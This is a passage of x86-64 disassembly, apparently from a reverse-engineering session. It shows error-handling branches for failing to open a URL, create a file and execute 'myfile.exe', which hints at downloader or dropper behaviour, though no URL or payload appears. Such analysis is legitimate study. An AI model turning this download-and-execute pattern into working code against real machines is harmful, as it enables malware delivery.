mov dword [rbp + 0xfb0], eax
lea rax, [rbp + 0xfb0]
mov qword [rbp + 0x1270], rax
lea rax, [fcn.14004df40]
mov qword [rbp + 0x1278], rax
lea rax, str.Failed_to_open_URL._Error:
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], 1
lea rdx, [0x1400be4b0]
lea rcx, [rbp - 0x50]
call fcn.1400b9ea0
jmp 0x140008336
mov qword [rbp + 0x1270], rdx
lea rax, [0x1400be4e0]
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_create_file
lea r9, fcn.140001030
lea r8, [rbp + 0x1270]
mov edx, 0x15
call fcn.1400ba280
jmp 0x140008336
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
lea rax, [0x1400be368]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400be335]
lea r9, fcn.140006c00
lea r8, [rbp - 0x50]
mov edx, 0x2c
call fcn.1400ba280
jmp 0x140008336
mov rax, qword [rbp + 0x1278]
mov qword [rbp + 0xfb0], rax
lea rax, [0x1400be3a0]
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_execute_myfile.exe
lea r9, fcn.140001030
lea r8, [rbp + 0xfb0]
mov edx, 0x1c
call fcn.1400ba280
jmp 0x140008336
lea rax, [0x1400be730]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400be748]
lea r9, [0x1400be778]
lea r8, [rbp - 0x50]
mov edx, 0x2b
call fcn.1400ba280
jmp 0x140008336
mov ecx, 8
mov edx, 8
call fcn.1400b9dc0
jmp 0x140008336
mov ecx, 1
mov rdx, rbx
call fcn.1400b9dc0
jmp 0x140008336
call fcn.1400480a0
jmp 0x140008336
mov qword [rbp + 0x1610], rsi
mov ecx, 8
mov edx, 0x18
call fcn.1400b9dc0
jmp 0x140008336
mov ecx, 8
mov edx, 0x18
call fcn.1400b9dc0
jmp 0x140008336
mov ecx, 8
mov edx, 0x18
call fcn.1400b9dc0
jmp 0x140008336
mov ecx, 8
mov edx, 8
call fcn.1400b9dc0
jmp 0x140008336
mov ecx, 8
mov edx, 8
call fcn.1400b9dc0
jmp 0x140008336
mov ecx, 8
mov edx, 8
call fcn.1400b9dc0
ud2